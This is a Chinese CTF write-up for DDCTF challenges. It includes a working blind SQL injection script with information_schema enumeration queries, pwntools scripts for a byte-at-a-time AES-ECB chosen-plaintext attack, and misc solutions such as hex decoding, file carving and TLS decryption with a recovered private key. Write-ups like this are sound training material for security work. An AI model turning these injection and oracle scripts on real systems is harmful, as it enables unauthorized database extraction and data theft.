因为筹备校赛当时写了一半的wp拖了快一个月才写完,今天发现DDCTF的平台和题目竟然还开着(⊙v⊙),很良心啊,当时也没有怎么去做题,水了几个misc,web涨姿势了,好菜_(:з」∠)_
Web
数据库的秘密
先是XFF绕过,有三个搜索框,还有一个隐藏的author参数。注入点在author。
有js进行签名和加时间戳,python可以调用execjs库执行js,就可以进行盲注啦。
import requests
import execjs
import time
flag = ''
key="\141\144\162\145\146\153\146\167\145\157\144\146\163\144\160\151\162\165"
url="http://116.85.43.88:8080/ZODGIRYTDIETBCSI/dfe3ia/index.php?sig="
chrs="DCTFABEGHIJKLMNOPQRSUVWXYZabcdefghijklmnopqrstuvwxyz\{\}!#$%&'()*+,-./0123456789:;<=>?@[\]^_`"
header={
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/65.0.3325.181 Safari/537.36",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
"Accept-Language":"zh-CN,zh;q=0.9",
"X-Forwarded-For": "123.232.23.245",
"Connection": "close",
"Content-Length":"38",
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests":"1",
"Content-Type": "application/x-www-form-urlencoded"
}
def load_jd():
file = open('change.js','r')
js = file.read()
return js
def get_sig(sqlin,time1):
js = load_jd()
ctx = execjs.compile(js)
sig=ctx.call('submitt',sqlin,time1)
return sig
def check(sqlin):
global header
time1 = str(int(time.time()))
new_url = url + get_sig(sqlin,time1) + "&time=" + time1
post_data = {
'id':'',
'title':'',
'author':sqlin,
'data':'',
'time':time1
}
reqs = requests.post(url=new_url,data=post_data,headers=header)
data = reqs.content
if "admin" in data:
return 1
else:
return 0
def main():
global flag
num = 1
while True:
for i in chrs:
sqlin = "admin' && binary substr((SELECT secvalue from ctf_key4),1," + str(num) + ")='" + flag + i + "'# "
if check(sqlin) == 1:
flag += i
num += 1
print flag
break
if flag[-1] == '}':
break
if __name__ == '__main__':
main()
#SELECT group_concat(schema_name) from information_schema.schemata
#SELECT group_concat(table_name) from information_schema.tables where table_schema='ddctf'
#SELECT group_concat(column_name) from information_schema.columns where table_schema='ddctf' and table_name='ctf_key4'secvalue
#SELECT group_concat(column_name) from information_schema.columns where table_name='ctf_key4')
#DDCTF{MSBMCTFMXOCBYFYI}
有大佬直接本地写个代理页面处理签名和时间戳上sqlmap一把梭,见下题引用链接..
专属链接
html中发现文件读取,但是只能读.class .xml .ico .ks
的文件,根据springmvc框架结构去找源码…做到这就晚上了,后来因为其他事就搁置了,太菜了啊ಥ_ಥ
附上大佬的wp:
Misc
签到题
真签到题
(╯°□°)╯︵ ┻━┻
题目描述
(╯°□°)╯︵ ┻━┻
d4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb9b2b2e1e2b9b9b7b4e1b4b7e3e4b3b2b2e3e6b4b3e2b5b0b6b1b0e6e1e5e1b5fd
题解
s='d4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb9b2b2e1e2b9b9b7b4e1b4b7e3e4b3b2b2e3e6b4b3e2b5b0b6b1b0e6e1e5e1b5fd'
flag=''
lens=len(s)
for i in range(0,lens,2):
ch = '0x' + s[i:i+2]
data = int(ch,16)
flag += chr(data%128)
print flag
#That was fast! The flag is: DDCTF{922ab9974a47cd322cf43b50610faea5}
貌似是十六进制的凯撒位移?
第四扩展FS
题目描述
D公司正在调查一起内部数据泄露事件,锁定嫌疑人小明,取证人员从小明手机中获取了一张图片引起了怀疑。这是一道送分题,提示已经在题目里,日常违规审计中频次有时候非常重要。
题解
下载得到一个图片,图片属性得到提示Pactera
,foremost分离出来一个压缩包,有密码,利用Pactera解压出来个file.txt,是一大段字符,词频分析得到flag。
流量分析
题目描述
提示一:若感觉在中间某个容易出错的步骤,若有需要检验是否正确时,可以比较MD5: 90c490781f9c320cd1ba671fcb112d1c
提示二:注意补齐私钥格式
—–BEGIN RSA PRIVATE KEY—–
XXXXXXX
—–END RSA PRIVATE KEY—–
题解
提取出的zip都不能用,在smtp包中找到了图片的base64,去解码得到一张图片,就是私钥的内容,ocr识别出来可能会有几个错的,去人眼比对,简直丧心病狂。补全之后倒入私钥就能解ssl流量了,edit–>preferences—>ssl。追踪一下http流得到flag。
安全通信(AES-ECB加密攻击)
题目描述
请通过
nc 116.85.48.103 5002
答题,mission key
是f49348cf84d390da52498077ae7137d5
,agent id
随意填就可以
#!/usr/bin/env python
import sys
import json
from Crypto.Cipher import AES
from Crypto import Random
def get_padding(rawstr):
remainder = len(rawstr) % 16
if remainder != 0:
return '\x00' * (16 - remainder)
return ''
def aes_encrypt(key, plaintext):
plaintext += get_padding(plaintext)
aes = AES.new(key, AES.MODE_ECB)
cipher_text = aes.encrypt(plaintext).encode('hex')
return cipher_text
def generate_hello(key, name, flag):
message = "Connection for mission: {}, your mission's flag is: {}".format(name, flag)
return aes_encrypt(key, message)
def get_input():
return raw_input()
def print_output(message):
print(message)
sys.stdout.flush()
def handle():
print_output("Please enter mission key:")
mission_key = get_input().rstrip()
print_output("Please enter your Agent ID to secure communications:")
agentid = get_input().rstrip()
rnd = Random.new()
session_key = rnd.read(16)
flag = '<secret>'
print_output(generate_hello(session_key, agentid, flag))
while True:
print_output("Please send some messages to be encrypted, 'quit' to exit:")
msg = get_input().rstrip()
if msg == 'quit':
print_output("Bye!")
break
enc = aes_encrypt(session_key, msg)
print_output(enc)
if __name__ == "__main__":
handle()
题解
先来看一看题目流程:
~ nc 116.85.48.103 5002
[]Please enter mission key:
f49348cf84d390da52498077ae7137d5
[]Please enter your Agent ID to secure communications:
00000
[]de17b72ac25766900858e5ea3fbbb0b5bb25ca815cfebb19799cc9c3ae39e01181fe1be5cbf45a1868c8309223e47f522dd536f36ff756acae5175c824f79dcb383ddc2229cc2a03094387a253b0d8a791e25d01f1cd934d7c83e3a6b64787b1
[]Please send some messages to be encrypted, 'quit' to exit:
00000
88dfdc59a59ec6cfd9e5221b93bc6506
[]Please send some messages to be encrypted, 'quit' to exit:
Connection for mission: 0000000
de17b72ac25766900858e5ea3fbbb0b5f26fa7509409a427afa6a150bd4b01d3
[]Please send some messages to be encrypted, 'quit' to exit:
quit
Bye!
题目会给你一个mission key,输入此key,服务器返回一串密文,根据给出的题目脚本可知,密文的生成过程是:Connection for mission: {}, your mission's flag is: {}
将第一个花括号替换成输入的agentid,第二个花括号就是我们想要的flag。
下面我们来了解一下AES加密的ECB模式:
ECB是最简单的块密码加密模式,加密前根据加密块大小(如AES为128位)分成若干块,之后将每块使用相同的密钥单独加密,解密同理.
也就是从第一位开始每16位位一组,使用相同的密钥进行加密,最后一组如果不够16位,使用’\x00’填充够16位。
原文开始的字符串是固定的:Connection for mission:[空格]
,开头24位字符,如果我们补充8位,正好构成了两个块。第九位开始就是全新的一块,这一块就是我们利用的地方,我们可以通过输入16位的内容得到该内容的密文,如果两个密文块相同,那么原文也相同。我们采取从后向前的方式进行。
因为最后一组如果不足16位以’\x00’填充,我们可以通过控制输入长度使最后的一个字符多出来单独作为一个分组,这样最后一组就是}
+15个’\x00’,先构造一个}
开头的完整的块,再往后面塞补位字符,直到密文最后一组和该组相同,我们就确定了这么一个数值,使分组后余一位的数值。获取该数字的脚本如下。
from pwn import *
import time
import sys
chrs="DCTFabcdefghijklmnopqrstuvwxyz\{\}!/0123456789:;"
key = "f49348cf84d390da52498077ae7137d5"
flag = 'ab1af39995be81a'
def go():
global flag
for i in range(20):
conn = remote('116.85.48.103',5002)
conn.recvline()
conn.sendline(key)
conn.recvline()
ID = "00000000}"
conn.sendline(ID)
rightstr = conn.recvline()
checkstr = rightstr[64:96]
compstr = rightstr[-33:-1]
print checkstr
print compstr
if checkstr == compstr:
print i
conn.sendline('quit')
conn.close()
break
else:
conn.close()
ID += "\x00"
sys.stdout.flush()
if __name__ == '__main__':
go()
# i=15
现在经过我们构造的原文大概这个样子-> Connection for m
ission: 00000000
}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
, your mission's
[空格]flag is: DDCTF{xxx
}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
,为了方便看我就直接分组表示了,每组16个字符。我们每向}前面插入一位,flag的倒数一位就会进入到最后的密文块,通过每一位的爆破可以得到flag的后15位(还有一个}),实际上我没发现flag大于15位,当我们继续插入一个字符时,}多出来了💺最后一组,倒数第二组的16个字符中后面15个是我们知道的,同理,我们只要比较倒数第二组密文和我们构造的密文(第三组)就好了。以此类推……
脚本写复杂了,tryflag函数和第二次sendline没必要,懒得改了 _(:з」∠)_
from pwn import *
import time
import sys
chrs="DCTFabcdefghijklmnopqrstuvwxyz\{\}!/0123456789:;"
key = "f49348cf84d390da52498077ae7137d5"
flag = 'ab1af39995be81a'
def tryflag(ID):
global flag
test = "Connection for mission: " + ID + ", your mission's flag is"
return test
def go():
global flag
for i in chrs:
conn = remote('116.85.48.103',5002)
conn.recvline()
conn.sendline(key)
conn.recvline()
ID = "00000000"+i+flag+"}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
conn.sendline(ID)
rightstr = conn.recvline()
conn.recvline()
test = tryflag(ID)
conn.sendline(test)
checkstr = conn.recvline()[64:96]
if len(flag) < 15:
compstr = rightstr[-33:-1]
elif len(flag) >= 15 and len(flag) < 31:
compstr = rightstr[-65:-33]
else:
compstr = rightstr[-97:-65]
print checkstr
print compstr
if checkstr == compstr:
flag = i + flag
print flag + "------------------"
conn.sendline('quit')
conn.close()
break
else:
conn.close()
#ID += "\x00"
sys.stdout.flush()
if __name__ == '__main__':
while True:
go()
#DDCTF{87fa2cd38a4259c29ab1af39995be81a}